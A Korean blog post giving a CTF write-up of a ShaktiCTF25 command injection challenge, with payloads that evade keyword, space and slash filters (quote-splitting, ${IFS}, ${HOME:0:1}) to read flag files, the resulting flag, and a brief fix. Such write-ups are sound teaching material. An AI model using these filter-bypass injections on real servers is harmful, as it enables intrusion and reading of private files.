728x90
반응형
개요
Command Injection 문제다.
기능 분석
위와 같이 무언가를 입력할 수 있는 페이지가 첫 페이지에 나온다.
무언가를 입력하면 md5로 해싱해서 보여준다.
익스플로잇
`;`를 입력하면 위와 같은 에러가 발생한다. 그럼 서버의 구성을 예상해보면
bash -c 'echo {userInput} | md5sum'
똑같이 구성했을 때 되지는 않았지만 이와 유사한 방식으로 할 것으로 예상된다. 따라서 command injection이 가능하다.
ls나 cat과 공백 문자 등등이 필터링되어 있다. 이를 우회하여 flag를 읽으면 될 것이다.
l''s;
와 같이 입력하니 필터링을 우회하여 명령어를 실행시킬 수 있다.
ca''t${IFS}user.txt
공백 문자열 필터링은 ${IFS}를 통해 우회할 수 있다.
그럼 flag의 앞부분을 구할 수 있다. 다음은 /usr/local을 읽어야하는데, `/`도 필터링되어 있다.
l''s${IFS}${HOME:0:1}usr${HOME:0:1}local;
슬래시는 ${HOME:0:1}로 우회할 수 있다.
wsl에서 테스트해보면 위와 같이 home 디렉터리를 나타내는 문자열을 보여준다. 이걸 `:`로 몇 번째 문자부터 몇 글자를 출력할 지 설정할 수 있다.
위와 같이 1번째 인덱스부터 2글자 출력을 시킬 수도 있다.
ca''t${IFS}${HOME:0:1}usr${HOME:0:1}local${HOME:0:1}flag;
위와 같이 flag 뒷 부분까지 구할 수 있다.
shaktictf{n0on3_l1k3s_5ar4h}
합치면 위와 같은 flag를 구할 수 있다.
대응 방안
- bash로 md5 해싱하여 보여줄 필요는 없을 것이다. 서버가 flask로 구성되어 있는데 flask의 기능을 이용하여 해싱해서 보여준다면 보다 안전할 것이다.
728x90
반응형
'분류 전 > CTF' 카테고리의 다른 글
[WHY 2025 CTF] Buster 풀이 (2) | 2025.08.14 |
---|---|
[WHY 2025 CTF] Planets 풀이 (3) | 2025.08.14 |
[ShaktiCTF25] Hooman 풀이 (3) | 2025.07.30 |
[ShaktiCTF25] FRIENDS 풀이 (2) | 2025.07.30 |
[DownUnderCTF 2025] rocky 풀이 (0) | 2025.07.22 |